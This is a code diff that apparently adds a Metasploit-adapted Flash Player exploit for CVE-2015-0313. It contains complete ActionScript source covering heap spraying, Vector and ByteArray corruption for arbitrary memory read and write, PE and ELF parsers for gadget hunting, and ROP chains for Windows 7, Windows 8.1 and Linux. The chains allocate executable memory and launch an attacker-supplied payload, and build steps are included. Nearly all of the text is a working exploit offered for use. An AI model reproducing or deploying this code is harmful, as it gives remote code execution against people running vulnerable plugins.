eba.write(0, 0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
}
private function do_rop_windows8():void
{
Logger.log("[*] Exploiter - do_rop_windows8()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var advapi32:uint = pe.module("advapi32.dll", flash)
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var ntdll:uint = pe.module("ntdll.dll", kernel32)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
var createthread:uint = pe.procedure("CreateThread", kernelbase)
var memcpy:uint = pe.procedure("memcpy", ntdll)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7ffd0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7ffd0000)
eba.write(0, payload_address + 8)
eba.write(0, payload.length)
// CreateThread
eba.write(0, createthread)
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7ffd0000)
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
@ -192,6 +290,8 @@ package
var libc:Elf = new Elf(eba, feof)
var popen:uint = libc.symbol("popen")
var mprotect:uint = libc.symbol("mprotect")
var mmap:uint = libc.symbol("mmap")
var clone:uint = libc.symbol("clone")
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
@ -204,9 +304,21 @@ package
// 2) Recover original stack
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
// my_memcpy
eba.write(buffer + 0x60, "\x56", false) // push esi
eba.write(0, "\x57", false) // push edi
eba.write(0, "\x51", false) // push ecx
eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
eba.write(0, "\xF3\xA4", false) // rep movsb
eba.write(0, "\x59", false) // pop ecx
eba.write(0, "\x5f", false) // pop edi
eba.write(0, "\x5e", false) // pop esi
eba.write(0, "\xc3", false) // ret
// Put the popen parameters in memory
eba.write(payload_address + 8, 'r', true) // type
eba.write(payload_address + 0xc, payload, true) // command
eba.write(payload_address + 0x8, payload, true) // false
// Put the fake stack/vtable on memory
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
@ -221,13 +333,49 @@ package
eba.write(0, buffer) // addr
eba.write(0, 0x1000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
// Return to popen()
eba.write(stack_address + 0x18068, popen)
// Return to mmap()
eba.write(stack_address + 0x18068, mmap)
// Return to stackpivot (jmp over mmap parameters)
eba.write(0, addesp2cret)
// mmap() code segment arguments
eba.write(0, 0x70000000) // 0x70000000
eba.write(0, 0x4000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
eba.write(0, 0xffffffff) // filedes
eba.write(0, 0) // offset
// Return to mmap()
eba.write(stack_address + 0x1809c, mmap)
// Return to stackpivot (jmp over mmap parameters)
eba.write(0, addesp2cret)
// mmap() stack segment arguments
eba.write(0, 0x70008000) // NULL
eba.write(0, 0x10000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
eba.write(0, -1) // filedes
eba.write(0, 0) // offset
// Return to memcpy()
eba.write(stack_address + 0x180d0, buffer + 0x60)
// Return to stackpivot (jmp over memcpy parameters)
eba.write(0, addesp2cret)
// memcpy() parameters
eba.write(0, 0x70000000)
eba.write(0, payload_address + 0x8)
eba.write(0, payload.length)
// Return to clone()
eba.write(stack_address + 0x18104, clone)
// Return to CoE (fix stack and object vtable)
eba.write(0, buffer + 0x10)
// popen() argument
eba.write(0, payload_address + 0xc)
eba.write(0, payload_address + 8)
// clone() arguments
eba.write(0, 0x70000000) // code
eba.write(0, 0x7000bff0) // stack
eba.write(0, 0x00000100) // flags CLONE_VM
eba.write(0, 0) // args
//call DWORD PTR [eax+0x24]
//EAX: 0x41414141 ('AAAA')

View File

@ -11,7 +11,6 @@ package
public function base(addr:uint):uint
{
Logger.log("[*] PE - base(): searching base for 0x" + addr.toString(16))
addr &= 0xffff0000
while (true) {
if (eba.read(addr) == 0x00905a4d) return addr
@ -54,10 +53,20 @@ package
public function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var contents:uint = 0
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (eba.read(addr + i) & hint)) break
return addr + i
for (var i:uint = 0; i < limit - 4; i++) {
contents = eba.read(addr + i)
if (hint == 0xffffffff && value == contents) {
return addr + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return addr + i
}
}
throw new Error()
}
}
}

View File

@ -0,0 +1,235 @@
package
{
public class Elf
{
private const PT_DYNAMIC:uint = 2
private const PT_LOAD:uint = 1
private const PT_READ_EXEC:uint = 5
private const DT_SYMTAB:uint = 6
private const DT_STRTAB:uint = 5
private const DT_PLTGOT:uint = 3
private var e_ba:ExploitByteArray
// elf base address
public var base:uint = 0
// program header address
public var ph:uint = 0
// number of program headers
public var ph_size:uint = 0
// program header entry size
public var ph_esize:uint = 0
// DYNAMIC segment address
public var seg_dynamic:uint = 0
// DYNAMIC segment size
public var seg_dynamic_size:uint = 0
// CODE segment address
public var seg_exec:uint = 0
// CODE segment size
public var seg_exec_size:uint = 0
// .dynsyn section address
public var sec_dynsym:uint = 0
// .synstr section address
public var sec_dynstr:uint = 0
// .got.plt section address
public var sec_got_plt:uint = 0
public function Elf(ba:ExploitByteArray, addr:uint)
{
e_ba = ba
set_base(addr)
set_program_header()
set_program_header_size()
set_program_header_entry_size()
set_dynamic_segment()
set_exec_segment()
set_dynsym()
set_dynstr()
set_got_plt()
}
public function external_symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
var got_plt_index:uint = 0
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
}
if (st_info != 0x11) {
got_plt_index++
}
}
throw new Error()
}
public function symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return base + st_value
}
}
throw new Error()
}
public function gadget(gadget:String, hint:uint):uint
{
var value:uint = parseInt(gadget, 16)
var contents:uint = 0
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
contents = e_ba.read(seg_exec + i)
if (hint == 0xffffffff && value == contents) {
return seg_exec + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return seg_exec + i
}
}
throw new Error()
}
private function set_base(addr:uint):void
{
addr &= 0xffff0000
while (true) {
if (e_ba.read(addr) == 0x464c457f) {
base = addr
return
}
addr -= 0x1000
}
throw new Error()
}
private function set_program_header():void
{
ph = base + e_ba.read(base + 0x1c)
}
private function set_program_header_size():void
{
ph_size = e_ba.read(base + 0x2c, "word")
}
private function set_program_header_entry_size():void
{
ph_esize = e_ba.read(base + 0x2a, "word")
}
private function set_dynamic_segment():void
{
var entry:uint = 0
var p_type:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
if (p_type == PT_DYNAMIC) {
seg_dynamic = base + e_ba.read(entry + 8)
seg_dynamic_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_exec_segment():void
{
var entry:uint = 0
var p_type:uint = 0
var p_flags:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
p_flags = e_ba.read(entry + 0x18)
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
seg_exec = base + e_ba.read(entry + 8)
seg_exec_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_dynsym():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_SYMTAB) {
sec_dynsym = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_dynstr():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_STRTAB) {
sec_dynstr = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_got_plt():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_PLTGOT) {
sec_got_plt = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
}
}

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// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Be support to support 16.0 as target-player (flex-config.xml).
// 3. Download the Flex SDK (4.6)
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 5. Build with: mxmlc -o msf.swf Main.as
// Original code by @hdarwin89 // http://hacklab.kr/flash-cve-2015-0313-%EB%B6%84%EC%84%9D/
// Modified to be used from msf
package
{
import flash.display.Sprite
import flash.display.LoaderInfo
import flash.events.Event
import flash.utils.ByteArray
import flash.system.Worker
import flash.system.WorkerDomain
import flash.system.MessageChannel
import flash.system.ApplicationDomain
import avm2.intrinsics.memory.casi32
import mx.utils.Base64Decoder
public class Exploit extends Sprite
{
private var ov:Vector.<Object> = new Vector.<Object>(80000)
private var uv:Vector.<uint>
private var ba:ByteArray = new ByteArray()
private var worker:Worker
private var mc:MessageChannel
private var b64:Base64Decoder = new Base64Decoder()
private var payload:ByteArray
private var platform:String
private var os:String
private var exploiter:Exploiter
public function Exploit()
{
if (Worker.current.isPrimordial) mainThread()
else workerThread()
}
private function mainThread():void
{
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
os = LoaderInfo(this.root.loaderInfo).parameters.os
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray()
ba.length = 0x1000
ba.shareable = true
for (var i:uint = 0; i < ov.length; i++) {
ov[i] = new Vector.<uint>(1014)
ov[i][0] = 0xdeedbeef
}
for (i = 0; i < 70000; i += 2) {
delete(ov[i])
}
worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes)
mc = worker.createMessageChannel(Worker.current)
mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage)
worker.setSharedProperty("mc", mc)
worker.setSharedProperty("ba", ba)
ApplicationDomain.currentDomain.domainMemory = ba
worker.start()
}
private function workerThread():void
{
var ba:ByteArray = Worker.current.getSharedProperty("ba")
var mc:MessageChannel = Worker.current.getSharedProperty("mc")
ba.clear()
ov[0] = new Vector.<uint>(1022)
mc.send("")
while (mc.messageAvailable);
for (var i:uint = 0;; i++) {
if (ov[0][i] == 1014 && ov[0][i + 2] == 0xdeedbeef) {
ov[0][i] = 0xffffffff
break
}
}
ov[0][0xfffffffe] = 1014
mc.send("")
}
private function onMessage(e:Event):void
{
var mod:uint = casi32(0, 1022, 0xFFFFFFFF)
Logger.log("[*] Exploit - onMessage(): mod: " + mod.toString())
if (mod == 1022) mc.receive()
else {
for (var i:uint = 0; i < ov.length; i++) {
if (ov[i].length == 0xffffffff) {
uv = ov[i]
} else {
if (ov[i] != null) {
delete(ov[i])
ov[i] = null
}
}
}
if (uv == null) {
Logger.log("[!] Exploit - onMessage(): Corrupted Vector not found")
return
}
exploiter = new Exploiter(this, platform, os, payload, uv)
}
}
}
}

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package
{
import flash.utils.ByteArray
public class ExploitByteArray
{
private const MAX_STRING_LENGTH:uint = 100
public var ba:ByteArray
public var original_length:uint
private var platform:String
public function ExploitByteArray(p:String, l:uint = 1024)
{
ba = new ByteArray()
ba.length = l
ba.endian = "littleEndian"
ba.writeUnsignedInt(0)
platform = p
original_length = l
}
public function set_length(length:uint):void
{
ba.length = length
}
public function get_length():uint
{
return ba.length
}
public function lets_ready():void
{
ba.endian = "littleEndian"
if (platform == "linux") {
ba.length = 0xffffffff
}
}
public function is_ready():Boolean
{
if (ba.length == 0xffffffff)
return true
return false
}
public function read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
public function read_string(addr:uint, length:uint = 0):String
{
ba.position = addr
if (length == 0)
return ba.readUTFBytes(MAX_STRING_LENGTH)
else
return ba.readUTFBytes(length)
}
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
{
var i:uint
if (addr) ba.position = addr
if (value is String) {
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else if (value is ByteArray) {
var value_length:uint = value.length
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
} else ba.writeUnsignedInt(value)
}
}
}

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package
{
public class ExploitVector
{
private var uv:Vector.<uint>
public var original_length:uint = 1014
public function ExploitVector(v:Vector.<uint>)
{
uv = v
}
public function restore():void
{
uv[0x3ffffffe] = original_length
}
public function is_ready():Boolean
{
if (uv.length > original_length)
{
return true
}
return false
}
public function at(pos:uint):uint
{
return uv[pos]
}
// pos: position where a Vector.<Object>[0] lives
public function set_own_address(pos:uint):void
{
uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
}
public function read(addr:uint):uint
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
return uv[pos]
}
public function write(addr:uint, value:uint = 0):void
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
uv[pos] = value
}
public function search_pattern(pattern:uint, limit:uint):uint
{
for (var i:uint = 0; i < limit/4; i++) {
if (uv[i] == pattern) {
return i
}
}
throw new Error()
}
}
}

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package
{
import flash.utils.ByteArray
import flash.system.System
public class Exploiter
{
private const VECTOR_OBJECTS_LENGTH:uint = 1014
private var exploit:Exploit
private var ev:ExploitVector
private var eba:ExploitByteArray
private var payload:ByteArray
private var platform:String
private var op_system:String
private var pos:uint
private var byte_array_object:uint
private var main:uint
private var stack_object:uint
private var payload_space_object:uint
private var buffer_object:uint
private var buffer:uint
private var vtable:uint
private var stack_address:uint
private var payload_address:uint
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
private var spray:Vector.<Object> = new Vector.<Object>(90000)
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>):void
{
exploit = exp
payload = p
platform = pl
op_system = os
ev = new ExploitVector(uv)
if (!ev.is_ready()) return
eba = new ExploitByteArray(platform)
spray_objects()
try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
ev.set_own_address(pos)
if (!disclose_objects()) { ev.restore(); cleanup(); return; }
disclose_addresses()
corrupt_byte_array()
if (!eba.is_ready()) { ev.restore(); cleanup(); return }
do_rop()
restore_byte_array()
ev.restore()
cleanup()
}
private function spray_objects():void
{
Logger.log("[*] Exploiter - spray_objects()")
for (var i:uint = 0; i < spray.length; i++)
{
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
spray[i][0] = eba.ba
spray[i][1] = exploit
spray[i][2] = stack
spray[i][3] = payload_space
}
}
private function search_objects():uint
{
Logger.log("[*] Exploiter - search_objects()")
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100)
return idx + 1
}
private function disclose_objects():Boolean
{
Logger.log("[*] Exploiter - disclose_objects()")
byte_array_object = ev.at(pos) - 1
main = ev.at(pos + 1) - 1
stack_object = ev.at(pos + 2) - 1
payload_space_object = ev.at(pos + 3) - 1
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
return false
}
return true
}
private function disclose_addresses():void
{
Logger.log("[*] Exploiter - disclose_addresses()")
if (platform == "linux")
{
buffer_object = ev.read(byte_array_object + 0x10)
buffer = ev.read(buffer_object + 0x1c)
}
else if (platform == "win")
{
buffer_object = ev.read(byte_array_object + 0x40)
buffer = ev.read(buffer_object + 8)
}
vtable = ev.read(main)
stack_address = ev.read(stack_object + 0x18)
payload_address = ev.read(payload_space_object + 0x18)
}
private function corrupt_byte_array():void
{
Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c) // *array
ev.write(buffer_object + 0x20, 0xffffffff) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8) // *array
ev.write(buffer_object + 16, 0xffffffff) // capacity
}
eba.lets_ready()
}
private function restore_byte_array():void
{
Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c, buffer) // *array
ev.write(buffer_object + 0x20, 1024) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8, buffer) // *array
ev.write(buffer_object + 16, 1024) // capacity
}
eba.set_length(eba.original_length)
}
private function do_rop():void
{
Logger.log("[*] Exploiter - do_rop()")
if (platform == "linux") {
do_rop_linux()
} else if (platform == "win") {
if (op_system == "Windows 8.1") {
do_rop_windows8()
} else if (op_system == "Windows 7") {
do_rop_windows()
} else {
return
}
} else {
return
}
}
private function do_rop_windows():void
{
Logger.log("[*] Exploiter - do_rop_windows()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var ntdll:uint = pe.module("ntdll.dll", kernel32)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
var createthread:uint = pe.procedure("CreateThread", kernel32)
var memcpy:uint = pe.procedure("memcpy", ntdll)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7f6e0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7f6e0000)
eba.write(0, payload_address + 8)
eba.write(0, payload.length)
// CreateThread
eba.write(0, createthread)
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7f6e0000)
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
}
private function do_rop_windows8():void
{
Logger.log("[*] Exploiter - do_rop_windows8()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var advapi32:uint = pe.module("advapi32.dll", flash)
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var ntdll:uint = pe.module("ntdll.dll", kernel32)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
var createthread:uint = pe.procedure("CreateThread", kernelbase)
var memcpy:uint = pe.procedure("memcpy", ntdll)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7ffd0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7ffd0000)
eba.write(0, payload_address + 8)
eba.write(0, payload.length)
// CreateThread
eba.write(0, createthread)
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7ffd0000)
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
}
private function do_rop_linux():void
{
Logger.log("[*] Exploiter - do_rop_linux()")
var flash:Elf = new Elf(eba, vtable)
var feof:uint = flash.external_symbol('feof')
var libc:Elf = new Elf(eba, feof)
var popen:uint = libc.symbol("popen")
var mprotect:uint = libc.symbol("mprotect")
var mmap:uint = libc.symbol("mmap")
var clone:uint = libc.symbol("clone")
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
// Continuation of execution
// 1) Recover original vtable
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
// 2) Recover original stack
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
// my_memcpy
eba.write(buffer + 0x60, "\x56", false) // push esi
eba.write(0, "\x57", false) // push edi
eba.write(0, "\x51", false) // push ecx
eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
eba.write(0, "\xF3\xA4", false) // rep movsb
eba.write(0, "\x59", false) // pop ecx
eba.write(0, "\x5f", false) // pop edi
eba.write(0, "\x5e", false) // pop esi
eba.write(0, "\xc3", false) // ret
// Put the popen parameters in memory
eba.write(payload_address + 0x8, payload, true) // false
// Put the fake stack/vtable on memory
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
// Return to mprotect()
eba.write(stack_address + 0x18034, mprotect)
// Return to stackpivot (jmp over mprotect parameters)
eba.write(0, addesp2cret)
// mprotect() arguments
eba.write(0, buffer) // addr
eba.write(0, 0x1000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
// Return to mmap()
eba.write(stack_address + 0x18068, mmap)
// Return to stackpivot (jmp over mmap parameters)
eba.write(0, addesp2cret)
// mmap() code segment arguments
eba.write(0, 0x70000000) // 0x70000000
eba.write(0, 0x4000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
eba.write(0, 0xffffffff) // filedes
eba.write(0, 0) // offset
// Return to mmap()
eba.write(stack_address + 0x1809c, mmap)
// Return to stackpivot (jmp over mmap parameters)
eba.write(0, addesp2cret)
// mmap() stack segment arguments
eba.write(0, 0x70008000) // NULL
eba.write(0, 0x10000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
eba.write(0, -1) // filedes
eba.write(0, 0) // offset
// Return to memcpy()
eba.write(stack_address + 0x180d0, buffer + 0x60)
// Return to stackpivot (jmp over memcpy parameters)
eba.write(0, addesp2cret)
// memcpy() parameters
eba.write(0, 0x70000000)
eba.write(0, payload_address + 0x8)
eba.write(0, payload.length)
// Return to clone()
eba.write(stack_address + 0x18104, clone)
// Return to CoE (fix stack and object vtable)
eba.write(0, buffer + 0x10)
// clone() arguments
eba.write(0, 0x70000000) // code
eba.write(0, 0x7000bff0) // stack
eba.write(0, 0x00000100) // flags CLONE_VM
eba.write(0, 0) // args
//call DWORD PTR [eax+0x24]
//EAX: 0x41414141 ('AAAA')
//EDI: 0xad857088 ("AAAA\377")
eba.write(main, stack_address + 0x18000)
exploit.hasOwnProperty('msf')
}
private function cleanup():void
{
Logger.log("[*] Exploiter - cleanup()")
spray = null
stack = null
payload_space = null
eba = null
ev = null
exploit = null
System.pauseForGCIfCollectionImminent(0)
}
}
}

View File

@ -0,0 +1,32 @@
package
{
import flash.external.ExternalInterface
public class Logger {
private static const DEBUG:uint = 0
public static function alert(msg:String):void
{
var str:String = "";
if (DEBUG == 1)
str += msg;
if(ExternalInterface.available){
ExternalInterface.call("alert", str);
}
}
public static function log(msg:String):void
{
var str:String = "";
if (DEBUG == 1)
str += msg;
if(ExternalInterface.available){
ExternalInterface.call("console.log", str);
}
}
}
}

View File

@ -1,210 +0,0 @@
// Build how to:
// 1. Download the AIRSDK, and use its compiler.
